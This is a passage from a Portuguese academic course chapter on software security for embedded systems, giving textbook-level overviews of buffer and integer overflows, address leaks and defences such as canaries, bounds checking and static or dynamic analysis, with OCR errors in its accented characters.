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Abstract

Software Security is key for the overall security of information systems. Day by day,
more and more software exploitations happen and thus Software Security increasingly
relevant. At the same time, Embedded Systems are becoming not only ubiquitous but also
pervasive. As a result, it is paramount that those systems are secured. The problem,
however, is that existing solutions — as is — are inadequate to Embedded Systems. This
course therefore aims at giving an overview on the state-of-the-art of Software Security
and, subsequently, show how these solutions can be adapted and evaluated in the context
of Embedded Systems.

Resumo

Seguranga de Software é um tema central na seguranca de sistemas como um todo. Ata-
ques que exploram vulnerabilidades em codigo sdo cada vez mais frequentes e Seguranca
de Software, entdo, é cada vez mais relevante. Paralelamente, Sistemas Embarcados fa-
zem cada vez mais parte de nossas vidas e tendem a se tornar, na prdtica, onipresentes.
Assim sendo, a seguranca desses dispositivos é de suma importdncia. As propostas de
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Seguranga de Software existentes, no entanto, ndo sdo plenamente apropriadas para Sis-
temas Embarcados. Tais dispositivos possuem um grande niimero de particularidades
como restri¢coes de processamento, memoria e energia, quando comparados a computa-
dores convencionais. Consequentemente, a eficiéncia energética de Seguranga de Soft-
ware para esses Sistemas Embarcados deve ser também mensurada. O objetivo deste
capitulo é apresentar uma visdo geral da drea de Seguranga de Software e mostrar como
adaptar e avaliar as solucdes existentes no contexto de Sistemas Embarcados.

3.1. Introducao

Seguranga de Software é um tema cada vez mais relevante [Jones 2007, McGraw 2006].
Na medida em que ataques que exploram vulnerabilidades em software crescem verti-
ginosamente [Alhazmi et al. 2007], a Seguranga de Software torna-se um tema central
na segurancga de sistemas computacionais como um todo. Por essa razdo, essa tem sido
uma 4rea de pesquisa bastante ativa e inimeras técnicas foram propostas recentemente
( [Molnar et al. 2009, Wang et al. 2009, Dietz et al. 2012, Rodrigues et al. 2013], por
exemplo). A maioria destas técnicas sdo baseadas na andlise estdtica [Misra 1987], na

andlise dinamica [Bell 1999], ou na combinagdo de ambas, isto €, na andlise hibrida [Rus
et al. 2003].

Sistemas Embarcados, por outro lado, sdo sistemas especializados [Barr 1999,
Carro and Wagner 2003, Marwedel 2011]. Diferentemente de um elemento computaci-
onal convencional — voltado a aplicacdes genéricas —, um sistema embarcado dedica-se
a executar bem uma ou poucas tarefas. Isso aliado ao fato de que eles sdo comumente
inclusos em outros sistemas faz com que Sistemas Embarcados tenham suas dimensdes
reduzidas. Tal redimensionamento aliado a necessidade de redugdo de custos, por sua
vez, torna Sistemas Embarcados “pobres” de recursos computacionais [Hamacher et al.
2012].

Sistemas Embarcados sdo cada vez mais comuns em nossas vidas [Zurita ]. Eles
sdo os campedes de venda no mercado de elementos computacionais e estdo presentes em
grande parte de outros dispositivos!. Com o advento da Internet das Coisas (Internet of
Things —10T) e os smartphones tornando-se a plataforma de comunica¢do mével padrao,
a tendéncia € que Sistemas Embarcados tornem-se praticamente onipresentes.

Paralelamente a essa ubiquidade de Sistemas Embarcados — e os beneficios que
ela acarreta —, surge também certa inquietacdo. Parte dela advém da preocupacgio acerca
da Seguranca de Software [Koopman 2004, DAVID and TIRI 2005] dispositivos, dado
que maioria das propostas existentes ndo levam em consideracdo as peculiaridades de
Sistemas Embarcados e, consequentemente, ndo lhes sdo apropriadas. Por exemplo, ao
contrdrio de um computador tradicional, Sistemas Embarcados usualmente (i) possuem
menor capacidade de processamento e memoria; (ii) possuem fonte restrita de energia; e
iii) possuem um grau de rede maior [Akyildiz et al. 2002] (n@o apenas porque fazem parte
de redes cuja escala é maior, mas também porque encontram-se no nicleo das mesmas,
ndo raro exercendo também o papel de roteadores [Akyildiz et al. 2002]). No entanto, as
propostas de Seguranga de Software existentes foram concebidas para sistemas convenci-

"http://www.simoneconcepts.com/embeddedsystems/realembeddedsystems.
html
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onais e, portanto, ndo consideram essas particularidades.

Objetivos. O objetivo deste capitulo €, derradeiramente, apresentar uma visao geral dos
ataques e defesas na drea de Seguranca de Software. Em relacdo aos ataques, pretende-
se apontar os mais comuns, demonstrando seu funcionamento, potencial de impacto e
suas variacdes. No tocante a defesas, objetivamos demonstrar como ataques podem ser
evitados ou identificados, seja em tempo de compilagdo, seja em tempo de execugao.
Por fim, pretendeu-se mostrar por meio de um estudo de caso como adaptar solugdes
existentes para o contexto de Sistemas Embarcados.

Organizacao. O restante deste trabalho estd organizado da seguinte forma.

A secdo 3.2 e a secdo 3.3 discorrem mais sobre Sistemas Embarcados e Seguranca
de Software, respectivamente.

A secdo 3.4 versa sobre diversos tipos ataques. Por exemplo, sobre

1. o Estouro de Arranjo (secdo 3.4.1);
2. o Estouro de Inteiro (secao 3.4.2);

3. e o Vazamento de Endereco (secdo 3.4.3).
J4 a secdo 3.5 discorre acerca de mecanismos de defesa. Por exemplo, acerca de:

1. Aleatorizacdo de Espaco de Endereco (Address Layout Space Randomization —
ALSR) (secao 3.5.1);

2. Prevencao contra a Execu¢do de Dados (Data Execution Prevention — DEP) (se-
cdo 3.5.2);

Candrios (secao 3.5.3);

Verificagcdo de Limites de Arranjo (Array bounds-checking) (se¢ao 3.5.4);
Andlise de Intervalo (se¢do 3.5.5);

Andlise Distribuida (secao 3.5.7).

A

Ao final, apresentamos mais trés se¢des, a saber:

1. Metodologia de Avaliacdo (secdo 3.6);
2. Estudo de Caso (se¢do 3.7);

3. Conclusdes (secao 3.8).

A maioria dos titulos das se¢des supracitadas ja sugerem o seu conteido. No en-
tanto, trés delas merecem ser destacadas por apresentarem solugdes exclusivamente vol-
tadas a Sistemas Embarcados. Sdo elas as secoes 3.5.7, 3.6 € 3.7. A Analise Distribuida
(secdo 3.5.7), como ressaltamos anteriormente, explica como cruzar e extrair informa-
coes de cdodigos que sdo executados de forma distribuida, com o objetivo de aumentar a
seguranca global do sistema. Isso € interessante pois a literatura apresenta mecanismos
voltados para programas centralizados, ou seja, que sdo executados dentro de um mesmo
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n6 da rede. Ademais, essa estratégia é fundamental no contexto de Sistemas Embarcados,
pois estes sdo usualmente inseridos em um contexto de rede onde nds interagem frequen-
temente. Na Metodologia de Avaliacao (secdo 3.6) a ideia € mostrar como um mecanismo
de segurancga pode ser avaliado sob a 6tica energética. Diferentemente de solucdes volta-
das para elementos computacionais convencionais (como desktops), em que a avaliagdo
mais importante € a sobrecarga (overhead) em termos de tempo e armazenagem, aqui, a
mais relevante € a energia consumida em razao da sua escassez em Sistemas Embarcados.
E na secdo 3.7 apresentamos um estudo de caso em que ilustramos todo o processo de se
proteger um sistema embarcado, da percep¢ao do problema, passando pela concepcao da
solugdo e, por fim, sua avaliagdo.

3.2. Sistemas Embarcados

Sistemas Embarcados, também conhecidos como Sistemas Embutidos, sdo sistemas com-
putacionais dedicados que fazem parte de um sistema mais complexo. O termo embutido
significa que este sistema estd incrustado em um ambiente e que apresenta interconexdes
bem definidas. Esta dedicacdo se deve ao fato que um Sistema Embarcado implementa
uma unica fun¢@o, ou no maximo algumas poucas funcdes. Como diversos processadores
podem ser empregados, o que os diferencia € exatamente este programa dedicado. So-
mado a estas principais caracteristicas funcionais, eles devem responder a seus estimulos
ap6s um intervalo de tempo definido. Assim, os Sistemas Embarcados sdo também siste-
mas de tempo real. Por serem embutidos em algo maior, os Sistemas Embarcados devem
ser confidveis, uma vez que falhas podem comprometer esta inica fungao e por talvez ser
dificil sua substituicdo ou reconfiguragdo remota. Finalmente, os Sistemas Embarcados
sdo voltados para um mercado de alto volume, o que implica em alta competitividade
entre fornecedores e em baixo custo individual.

Podemos agora definir um Sistema Embarcado como:

Um Sistema Embarcado é um sistema computacional que implementa
um unica tarefa, dirigido (ou definido) por software, que utiliza interfaces
dedicadas, devem responder a estimulos em tempo real, serem confidveis e
serem comercialmente competitivos.

Sistemas Embarcados utilizam agressivamente plataformas de hardware, uma vez
que sdo dirigidos por software e diversas implementacdes de processadores podem ser
utilizados. Isso implica em uma forte reducdo do custo do projeto do processador, que
pode empregar circuitos integrados comerciais. O custo de hardware se concentra en-
tdo no projeto das interfaces de entrada e saida, que como s@o definidos pelo ambiente,
geralmente utilizam padrdes industriais.

Como visto na tabela 3.1, Sistemas Embarcados podem ser encontrados nos mais
variados produtos como avides, sistemas de defesa, aparelhos biomédicos, automdveis,
dispositivos de E/S, instrumentos eletronicos, aparelhos domésticos, industriais e brin-
quedos.
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Avides e Sistemas de defesa

piloto automaético, sistemas de navegacao, controle de motores,
sistemas de aterrizagem

Sistemas Biomédicos

Ultrassom e CAT, monitores para pacientes, marcapassos

Automoveis

controle do motor, sistemas ABS e de tracdo, controle de air-bags,
diagndstico embarcado

Comunicacdes e Redes

satélites, roteadores de rede, switches, modems

Wireless

Pontos de acesso, adaptadores, rede de sensores sem fio

Eletronica de Consumo

TV, tocadores de DVS e Blue-ray, fornos de micro-ondas,
cameras, linha branca

Dispositivos de E/S

teclados, mouse, impressoras, escaneadores, modems

Instrumentos Eletr6nicos

Osciloscépios, Multimetros, analisadores 16gicos

Equipamentos Industriais

controlador de elevadores, robds, sistemas de seguranca,
PLC, maquinas CNC

Escritorio

FAX, copiadoras, telefones, calculadoras, maquinas registradoras

Dispositivos Pessoais

celulares, relgio de pulso, tablets

Dispositivos Bancarios

cartdo bancdrio ou de crédito, ponto-de-venda, terminal de acesso

Brinquedos

Video games (XBox, Wii, etc.), Furby, Nintendo DS

Tabela 3.1. Exemplos de Sistemas Embarcados

3.2.1. Caracteristicas

A principal caracteristica que diferencia Sistemas Embarcados de computadores de uso
geral € a sua alta especificidade, geralmente uma tnica funcionalidade. Isso implica em
escolhas que maximizem funcionalidade e minimizem custos de fabricacdo e tempo de
desenvolvimento. Ao contrario, computadores de uso geral (ou PCs) s@o voltados a usua-
rios de perfis diversos o que leva a inclusdo de multiplas interfaces de conexao e interfaces
homem-maquina.

Processador (CPU). As plataformas de hardware para Sistemas Embarcados sdo im-
plementadas usando microprocessadores ou microcontroladores comerciais, médulos de
memoria para programa e dados, suporte para interrupgdes, temporizadores e moédulos
controladores para interfaces de entrada e saida. Na medida em que novas funcionalida-
des foram demandadas outros médulos foram adicionados como relégios de tempo real,
gerentes de energia e tensdo, e até mesmo gestores de perfis de consumo de energia.

A grande maioria dos Sistemas Embarcados utilizam microcontroladores que sao
circuitos integrados que agregam um processador, blocos de memoria para programas
e dados, gerador de clock, controlador de interrup¢des e controladores de interfaces de
entrada e saida. Fabricantes oferecem familias de microcontroladores onde em torno de
um mesmo processador diversas op¢des de memorias, entradas e saidas, e outros modulos
e que sao oferecidas em diferentes circuitos integrados.

Uma tendéncia mais recente é o oferecimento de Sistemas-em-um-Chip (Systems-
on-Chip — SoCs), onde um processador € integrado a memorias, interfaces de entrada
e saida, temporizadores, e eventualmente a outro processador de uso geral ou um de
Processamento de Sinais (Digital Signal Processor — DSP).

Quanto ao nimero de bits, as CPUs podem ser de 8, 16 ou 32 bits. Apesar de
CPUs para PCs usarem 32 bits, e mais recentemente 64 bits, a maior parte de de aplica-
cOes embarcadas utilizam 8 ou 16 bits. Fabricantes como a Atmel e Microchip com as
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linhas AVR e PIC, respectivamente, dominam as solu¢des de 8 bits com processadores
que rodam com frequéncias entre 20 e 30 MHz. A Texas Instruments e a mesma Mi-
crochip oferecem as linhas MSP430 e PIC16 (respectivamente) para CPUs de 16 bits. A
linha TI MSP430 € uma das lideres em solugdes de ultra baixo consumo de energia.

Entretanto a demanda por CPUs de maior poder computacional tem crescido re-
centemente e diversas solugdes de 32 bits estdo disponiveis, como as familias de micro-
controladores PIC32, ARM MO, M1 e M4. Uma caracteristica marcante das linhas de 32
bits é sua maior capacidade de memoria, que pode chegar a 256 KBytes.

Ainda assim, existem classes de aplica¢des que demandam maior desempenho, o
que implica em maiores frequéncias de operagdo e capacidade de memoria. Estes dispo-
sitivos sdo chamados de microprocessadores embutidos (ou embedded microprocessors)
para distingui-los dos microcontroladores. Eles permitem func¢des de controle de super-
visdo, utilizam MMU (unidade de geréncia de memoria) que controla caches e prové
memoria virtual. Operam com frequéncia de clock de centenas de megaherz até mais de 1
GHz, podem incluir coprocessadores aritméticos de ponto flutuante e aceleradores grafi-
cos. Com isso podem usar sistemas operacionais mais elaborados como Linux embutidos.

Nivel de Integracdo. A demanda de baixos custos, alta densidade e menores fatores de
escala tem levado a um nivel de integracdo em que uma plataforma de hardware seja im-
plementada com poucos Cls. Na medida que o nivel de integracdo aumentou, mais € mais
l16gica foi adicionada ao processador, periféricos padronizados € médulos de memoria
foram agregados em um unico chip, criado familias de processadores com alto grau de
especificidade. Tais processadores sdo chamados de SoC.

Alimentacao e Poténcia. Sistemas Embarcados utilizam fontes de alimentaciao das mais
variadas formas e geralmente precisam adaptar o valor de tensdo disponivel para o(s)
valor(es) necessdrio(s). Uma plataforma tipica de hardware pode apresentar mdédulos de
alto consumo de energia, como discos magnéticos, discos baseados em memorias flash
(SSD), displays coloridos, e interfaces wireless.

A poténcia dissipada por sistemas computacionais se deve principalmente a ativi-
dade de troca de valores bindrios dos sinais elétricos, 0 que provoca a geragao de calor.
Fabricantes de Cls provém valores tipicos que sdo uma média de consumo de poténcia
para aplicacdes que utilizam por¢des representativas do circuito interno e suas entradas
e saidas. Nem sempre € necessdria a utilizacdo de uma ventoinha para remover o calor
gerado, e o uso de um dissipador metalico acoplado ao CI pode ser suficiente.

Confiabilidade/Disponibilidade. Sistemas Embarcados estdo incrustados em maquinas
ou sistemas mais complexos que devem rodar continuamente por anos sem erros, € em
muitos casos se recuperarem por si mesmos. Deste modo o software deve ser desenvol-
vido e testado com muito mais cuidado do que software para PCs, e o hardware deve evitar
dispositivos mecanicos com pe¢as méveis. Alguns problemas de confiabilidade sdo:

* o sistema ndo pode ser desligado com seguranga para reparos;
* osistema deve rodar sempre e modos de desempenho reduzido nao sao admissiveis;
* 0 ambiente ou sistema sofrerd perdas econdmicas se for desligado.
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Uma variedade de técnicas sdo empregadas, e muitas vezes combinadas, para se
recuperar de erros de software e hardware, como por exemplo vazamentos de memoria ou
integridade de sinal comprometida por crosstalk. As técnicas mais comuns s3o:

temporizador watchdog, para reinicio do software;

redundancia de hardware total ou parcial;
¢ modo reduzido em software;
* hipervisor embutido, baseado em virtualiza¢do de software;

* memoria com correcao de erros (ECC).

Fator de Forma e Expansibilidade. Sistemas Embarcados utilizam diversos fatores de
forma e que geralmente é determinado pelo ambiente onde o sistema serd embutido. A
maioria € composta por uma Unica placa de circuito impresso, denominadas Single Bo-
ard Computer (SBC). Nesta placa existem um conector de alimentagdo, para uma tnica
tensdo de entrada, e diversos conectores para as interfaces dos periféricos padrao, como
USB, SATA, etc., e quando necessdrio a placa pode apresentar um conector para sinais
discretos de E/S para interfaces especiais, como por exemplo o acionamento de relés ou
sensoriamento de chaves e interruptores. Os padrdes mais conhecidos sdo o Consércio
PC/104, que define um conjunto de placas de dimensdes fixas e conectores padronizados
para um barramento usando o protocolo PCle e que permitem o empilhamento de placas;
o padrao COM Express e o padrdo Qseven, onde cada placa contém toda a logica e Cls
para um sistema computacional completo.

Como Sistemas Embarcados sdo projetados para uma aplicacdo especifica, e o
custo é um requisito importante, expansibilidade € geralmente sacrificada. Mais ainda,
ao utilizar microcontroladores de 8 e 16 bits a memoria ja vem com tamanho fixo e ndo
pode ser expandida, pois o barramento do processador nio esta disponivel para conexao.
Microprocessadores € SoCs de 32 bits geralmente usam memdrias externas, pois progra-
mas e dados podem ocupar centenas de kilobytes ou até mesmo megabytes. As solugdes
empregadas empregam Cls externos de memorias flash, para programas, e DRAM para
dados, ou eventualmente apenas DRAM.

Conectividade. Conectividade é a caracteristica de sistemas embutidos que mais tem
crescido atualmente. Diversas previsdes apontam para um nimero de 15 bilhdes dispo-
sitivos conectados a Internet em 2015, e a maioria deles sdo Sistemas Embarcados. Isto
implica que eles devem suportar pilhas IPv4 e brevemente IPv6. Outros padrdes como
Ethernet, WiFi, Bluetooth e Zigbee, devem também ser suportados, as vezes varios deles,
dependendo da aplicagcdo. Novos protocolos como o Near Field Communication (NFC)
comegam a serem usados para interligar dispositivos méveis, como celulares, com siste-
mas de automacdo doméstica e bancdria, e até mesmo com aparelhos eletrodomésticos
como televisores inteligentes. Finalmente, as redes telefonicas méveis e sua comunica-
cdo GPRS, 3G e 4G, sdo formas atraentes de conexao remota para sistemas embutidos de
dificil acesso fisico.
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Seguranca. A seguranca em Sistemas Embarcados nem sempre foi levada em conta uma
vez que, inicialmente, a maioria deles operavam embutidos em sistemas sem conectivi-
dade exterior, como a internet. Em um automdével uma rede local, baseada em protocolos
CAN e LIN, interligam diversos sistemas embarcados dedicados, como por exemplo con-
trole do motor, ABS e painel. Entretanto as novas aplicacdes que mais utilizam o conceito
de Sistemas Embarcados sdo dispositivos mdveis que precisam se interconectarem a Web
via protocolos Internet e diversas conexdes sem fio como WiFi, 3G/GPRS e mesmo a
Ethernet com fio.

Aliado a isso estd o fato de que aplicagdes para Sistemas Embarcados sdo comu-
mente desenvolvidas em C. A opg¢do pela linguagem € em razdo da sua eficiéncia, ou
seja, aplicacdes escritas em C sdo usualmente mais rapidas e com isso mais adequadas
a sistemas com pouco recursos como Sistemas Embarcados. Contudo, tal eficiéncia tem
preco. Quando comparada a outras linguagens de programacado, C ndo implementa alguns
mecanismos de seguranca, o que deixa suas aplica¢cdes mais vulneraveis que as demais,
em geral. Ao longo deste capitulo sera detalhado a seguranca da linguagem C e como isso
pode afetar a seguranga Sistemas Embarcados como um todo.

3.3. Seguranca de Software: Visao Geral

Seguranca de Software é um tema cada vez mais relevante [Jones 2007, McGraw 2006].
Na medida em que ataques que exploram vulnerabilidades em software crescem vertigi-
nosamente [Alhazmi et al. 2007], a Seguranca de Softwaretorna-se um tema central na
seguranca de sistemas computacionais como um todo.

Ataques s@o comumente dividas em duas categorias: aqueles que concernem ao
sigilo da informacao e aqueles relativos a integridade

O Vazamento de Endereco (Address Leak ou Program Data Leak) e o Vazamento
de Dados (Data Leak) sdao exemplos de ataques relativos ao sigilo. A ideia é que o ad-
versdrio force o vazamento de um dado que possa ser usado para comprometer o fun-
cionamento do sistema. Por exemplo, o advento de mecanismos de seguranga como o
Prevencao contra a Execucdo de Dados evita que dados injetados pelo adversario sejam
usados pelo sistema. Assim, uma alternativa para o adversario é descobrir o endereco de
uma fungdo sensivel (\bin\sh, por exemplo) j4 contida no sistema para, subsequente-
mente, alterar o fluxo de execu¢do para a mesma. Tal descoberta ndo € sempre trivial e
uma das formas de determinar o endereco de uma fungdo € antes realizar um ataque de
Vazamento de Endereco.

Ainda acerca do sigilo, € possivel que o resultado de um vazamento, por si, ja
satisfaca os anseios do adversdrio. Isso fica evidente quando se examina o trabalho de
Aranha et. al. sobre a urna eletronica brasileira [Aranha et al. 2012]. Nele, observa-se
que existe um Vazamento de Dados na urna, um vazamento da semente da fun¢ao pseudo-
aleatdria responsavel pelo baralhamento da ordem dos votos. Isso, derradeiramente, pode
levar a quebra da propriedade de sigilo do voto em um pleito.

Agora vamos versar um pouco sobre os ataques que ferem a integridade de um
sistema. Aqui resta o popular ataque de Estouro de Arranjo (Buffer Overflow). Nele, o
adversdrio explora o fato de que linguagens como C ndo sdo fortemente tipadas e, por
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Ataques
Sigilo Integridade
Vazamento Vazamento
Estouro Estouro de
de Dados do de Dados . .
L. de Inteiro Arranjo
Programa do Usuario

Figura 3.1. Vulnerabilidades

conseguinte, ndo verificam limites de arranjos. Ou seja, € possivel preencher um arranjo
para além dos seus limites, violando regides de memoria e sobrescrevendo de forma ilegal
seus valores. Isso, por sua vez, permite desviar o fluxo de execucdo de programas para,
por exemplo, execugdo de acdes maliciosas.

Outro ataque conhecido € o ataque de Estouro de Inteiro (Integer Overflow). Aqui,
o limite violado ndo € o de limites de arranjo, mas sim o de limites de inteiros. Este ataque
pode ser empregado da seguinte maneira. Suponha um inteiro que determinara o tamanho
de uma regido de memoria alocada dinamicamente. O adversario entdo forca o estouro
deste inteiro que agora passa a ter um valor pequeno, quem sabe negativo. A regido de
memoria alocada serd menor que esperada o que, por sua vez, pode viabilizar um ataque
de Estouro de Arranjo.

Apontar vulnerabilidades que levam ao Estouro de Inteiro € algo particularmente
desafiador, dado que alguns deles sdo realizados de forma deliberada pelo programador
para fins de eficiéncia®. Em outras palavras, a dificuldade resta nio em apontar um Es-
touro de Inteiro, mas em determinar-se se o mesmo € benigno ou maligno.

Felizmente, paralelamente a difusdo de ataques de software, surgem também inu-
meras propostas de defesa ( [Molnar et al. 2009, Wang et al. 2009, Dietz et al. 2012,Rodri-
gues et al. 2013], por exemplo). A maioria das propostas de defesa existentes sdo basea-
das na Anadlise Estdtica [Misra 1987, Wagner and Dean 2001], na Andlise Dinamica [Bell
1999, Mock 2003], ou na combina¢do de ambas, isto é, na Andlise Hibrida [Rus et al.
2003, Ernst 2003]. A concepcao dessas propostas € uma tarefa extremamente desafiadora
j& que qualquer propriedade ndo trivial de linguagens recursivamente enumeraveis é um
problema indecidivel [Hopcroft 2008] — em outras palavras, ndo existe programa genérico
capaz de decidir se um outro programa qualquer € ou nao vulneravel.

A Analise Estatica [Misra 1987] inspeciona o cddigo antes do programa ser ins-

ZPor exemplo, um programador pode mimetizar uma operacio de médulo eficientemente por meio de
uma operagdo que estoure o limite de um tipo inteiro.
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talado (deployed) e, por essa razdo, é também conhecida como andlise de codigo. Essa
andlise varia de um simples script para o casamento de padrdes até um sofisticado analisa-
dor sintético (parser). A vantagem do método é que nao ha sobrecarga (overhead) direta
em tempo de execucdo, ja que a analise € realizada a priori e o cddigo fonte permanece
inalterado. O lado negativo € que no momento da andlise ndo ha as informacgdes que o
programa dispde em tempo de execugdo. Tal desinformacdo impossibilita determinar-se
se ha ou ndo vulnerabilidades em certos trechos de cédigo. Na divida, a estratégia con-
servadora € adotada e presume-se que a vulnerabilidade, sim, existe. Isso, por sua vez,
traduz-se em falso-positivos (posteriormente, veremos que falso-positivos podem indire-
tamente resultar em sobrecarga).

Por meio da Anélise Estatica € possivel abordar algumas questdes que ja relata-
mos. Por exemplo, para mitigar ou mesmo impedir ataques que ferem o sigilo de um
sistema, pode-se empregar a Andlise Estatica para responder a seguinte questio: existe
um caminho que vai de um dado sensivel (ou secreto) até um canal publico? Tal questio,
na prética, pode ser mapeada para: o valor de uma varidvel sensivel pode ser propagado
ao longo da execucdo de um programa até ser passado como parametro para uma fungao
do tipo print £, fput etc.

Caso sim, entdo a andlise retorna que ha uma vulnerabilidade no programa.

Analogamente, a Andlise Estatica pode responder se a integridade de um programa
pode ser violada. Agora, a questdo posta a andlise € a seguinte: existe um caminho que
vai de uma entrada publica, ndo confidvel, até uma operagdo sensivel? Novamente, na
pratica, essa questdo pode ser refraseada, por exemplo, assim: hd uma operacao de leitura
do tipo fscan cuja a entrada pode ser eventualmente propagada para dentro de um arranjo
cujos limites ndo sdo checados?

A Andlise Dinamica [Bell 1999], por sua vez, envolve a execucdo propriamente
dita do programa objeto da andlise, razdo pela qual é também chamada de verificacao
em tempo de execucdo (run-time checking). A ideia é rodar o programa para um con-
junto provével de entradas e analisar seu comportamento (com respeito a vazamento de
dados confidenciais, por exemplo). A vantagem da técnica € que ela pode tirar proveito
de informagdes sé disponiveis em tempo de execucdo. Isso, por sua vez, mitiga signifi-
cantemente o problema dos falso-positivos, comum na andlise estatica. Desvantagem do
método é que os resultados sdo pertinentes apenas as entradas testadas e, assim, nao se
pode derivar conclusdes acerca do comportamento geral do programa. Por esse motivo, a
Andlise Dinamica € inerentemente inconsistente (unsound), isto €, ndo se pode afirmar se
um programa € ou nao vulnerdvel a partir desta técnica.

Exemplos de Andlise Dindmica para evitar ataques de Estouro de Arranjo sdo
Verificagao de Limites de Arranjo e Candrios. O primeiro atua proativamente, verificando
se 0 acesso a memoria estd dentro dos limites, caso contrario, o mecanismo aborta a
execucdo do programa. Para tal é necessdrio instrumentar o programa de forma a guardar
os tamanhos de arranjos e checar seus limites sempre que ocorre um acesso a memoria.
O Candrio, por sua vez, atua de forma reativa abortando o programa logo apds um ataque
de Estouro de Arranjo ter sido efetuado. Com esse fim, o mecanismo insere uma valor
aleatdrio entre o arranjos e enderegos de retornos de fungdes. Ao final da fungdo, verifica-
se se o valor do canario foi alterado. Se foi, € sinal que um Estouro de Arranjo ocorreu e
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entdo o programa é abortado.

Uma técnica comum é a Andlise Hibrida [Rus et al. 2003], ou seja, a combi-
nagdo das técnicas das Andlises Estdtica e Dindmica. Usualmente, a Analise Estética é
primeiramente empregada para encontrar-se 0 maior nimero de vulnerabilidades possivel
e, posteriormente, a Andlise Dindmica entra para monitorar o c6digo nestes supostamente
vulnerdveis. Aqui resta o motivo pelo qual falso-positivos resultantes da Andlise Dina-
mica podem indiretamente acarretar sobrecarga. Todo trecho de c6digo em que Andlise
Dinamica apontar vulnerabilidades serd instrumentado com um monitor, o qual € utili-
zado em tempo de execucgdo, e incorre em sobrecarga. Portanto, é fundamental para a
eficiéncia de um sistema que o nimero de falso-positivos seja baixo.

Defesas
Analise Analise
Estatica Dinamica
Anilise de Grafo de Verificacio Guardas
Intervalo Dependéncias de Limites

Figura 3.2. Defesas
Por fim, uma andlise pioneira, concebida por nés, € a Andlise Distribuida. Veja,
um sistema distribuido é formado por varios processos em execucdo que colaboram en-
tre si para atingir uma meta comum. Tais sistemas estdo presentes no nosso dia-a-dia
em aplicagdes bancdrias, comércio eletronico, sistemas de telecomunicag¢des entre outros.
Ferramentas de Andlises Estaticas convencionais ndo foram concebidas com foco nesta
interlocugdo entre processo. Se uma ferramenta for capaz de cruzar informagdes oriundas
dos vérios processos que constituem o sistema distribuido, entdo mais constata¢des acerca
da seguranca de um sistema poderdo ser feitas. Entretanto, analisd-los concomitante ndo
¢ uma tarefa trivial, pois o problema de anélise de fluxo de informacao entre os interlocu-
tores pode ser computacionalmente ineficiente. A ideia da Andlise Distribuida € realizar
esse cruzamento de informacgdes de maneira eficiente.

3.4. Ataques
3.4.1. Estouro de Arranjo
3.4.1.1. Visao Geral

Um buffer ou arranjo pode ser definido simplesmente como um bloco contiguo de me-
moria, com a finalidade de armazenar um conjunto de um certo tipo de dados. O Estouro
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de Arranjo € uma anomalia na qual tenta-se escrever sobre um arranjo mais dados do que
ele tem capacidade para armazenar. Dessa forma, as posi¢des de memoria adjacentes ao
arranjo acabam sendo sobrescritas, configurando-se uma violagao de memoria. Os efeitos
de tal anomalia podem variar desde um comportamento inesperado do programa a graves
vulnerabilidades de seguranca.

As linguagens de programacao que sdo afetadas por tal problema sio as chamadas
fracamente tipadas, como por exemplo C, amplamente utilizada em Sistemas Embarca-
dos por sua eficiéncia. Nestas linguagens, quando ocorre um acesso para escrita ou leitura
de um arranjo, nao se verifica automaticamente se a escrita ou leitura ocorre dentro dos
limites alocados. Em contrapartida, numa linguagem fortemente tipada, tal como Java,
para cada por¢do de memdria alocada sdo mantidos metadados que permitem a realiza¢ao
de verificacdes de limites de arranjos para todo e qualquer acesso, em tempo de execu-
cdo. A realizacdo ou ndo de tais verificacdes implica, na pratica, num compromisso entre
desempenho e robustez.

Dessa forma, se a linguagem de programagao nao prové mecanismos automaticos
para evitar o Estouro de Arranjo, essa tarefa fica dependente da disciplina do programa-
dor. A consequéncia de tal fato € que o Estouro de Arranjo configura-se como uma das
vulnerabilidades mais frequentes e mais exploradas por atacantes. Casos famosos de ex-
ploracdes relacionadas a vulnerabilidades de Estouro de Arranjo ocorrem desde a década
de 80, como por exemplo o Morris worm que foi um dos primeiros worms disseminados
pela Internet; todavia, os ataques permanecem atuais, como atestam os recentes ataques a
plataforma de jogos Xbox, que permitiram o uso de software ndo licenciado.

Embora tais vulnerabilidades possam, em geral, ser facilmente corrigidas, se con-
siderados casos individuais, o caso geral dificil de caracterizar, pelas diversas formas
como essa anomalia pode se apresentar. O Estouro de Arranjo permanece, portanto,
como um desafio para a comunidade cientifica, pois as ferramentas de detec¢io e cor-
recdo desenvolvidas até o presente momento apresentam ainda grandes possibilidades de
melhoria.

3.4.1.2. Funcionamento

Para compreender como funciona um ataque de estouro de arranjos, € necessario algum
conhecimento sobre a memoria de um processo computacional. Em geral, ela encontra-se
dividida nas seguintes regides:

e Texto: Uma regido de tamanho fixo, que contém as instru¢des do programa, sendo
habilitada apenas para leitura;

* Dados: Contém varidveis globais e estéticas do programa;

* Pilha: A pilha é um bloco de memdria contiguo que contém uma sequéncia de qua-
dros, que sdo inseridos quando uma funcao € chamada e retirados quando ela re-
torna. Um quadro contém diversos tipos de dados necessérios para a fungao, como
seus parametros, suas variaveis locais e endereco de retorno, bem como informagao
necessdria para recuperar o estado da pilha tal qual antes de sua chamada;
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* Heap: Uma regido de memoria que contém as varidveis alocadas dinamicamente.
Nessa regido, o controle da memoria deve ser realizado explicitamente pelo progra-
mador.

Ataques de Estouro de Arranjo podem acontecer na pilha ou no heap. A seguir,
serdo discutidos os tipos de ataque mais comuns.

Ataque baseado em pilha. Em um ataque baseado em pilha, varidveis de controle podem
ser sobrescritas, de forma a alterar o fluxo de execucdo do programa. Em sua forma
mais elementar, esse ataque sobrescreve o endereco de retorno de uma fungio, conforme
descrito no histérico artigo apresentado por Aleph One [Aleph One 1996]. Outras formas
de ataque sao possiveis também; em [Richarte et al. 2002], por exemplo, é descrito um
ataque no qual o stack frame pointer é sobrescrito de maneira a comprometer e controlar
o fluxo de execu¢do de um programa. Um atacante pode, entdo, desviar o controle para
uma sequéncia de cédigo executavel previamente injetada na pilha.

Ataque baseado em heap. Ataques que ocorram no heap siao mais dificeis de explorar e
compreender, devido a sua natureza dindmica. Geralmente, ataques dessa natureza ocor-
rem através da corrupc¢ao de estruturas internas de controle. No exemplo candnico, uma
estrutura que controla os blocos livres de memoria é sobrescrito e ao ser liberado acaba
por sobrescrever o endereco de retorno de uma fung¢do na pilha. Mais detalhes sobre esse
tipo de ataque podem ser encontrado em [Robertson et al. 2003].

Ataque de retorno a 1ibe. Um dos mecanismos de defesa mais amplamente adotados,
conforme serd descrito na se¢do 3.5.2, denomina-se Prevencdo contra a Execucdo de
Dados. Esta protecdo, como o proprio nome sugere, impediria um atacante de executar
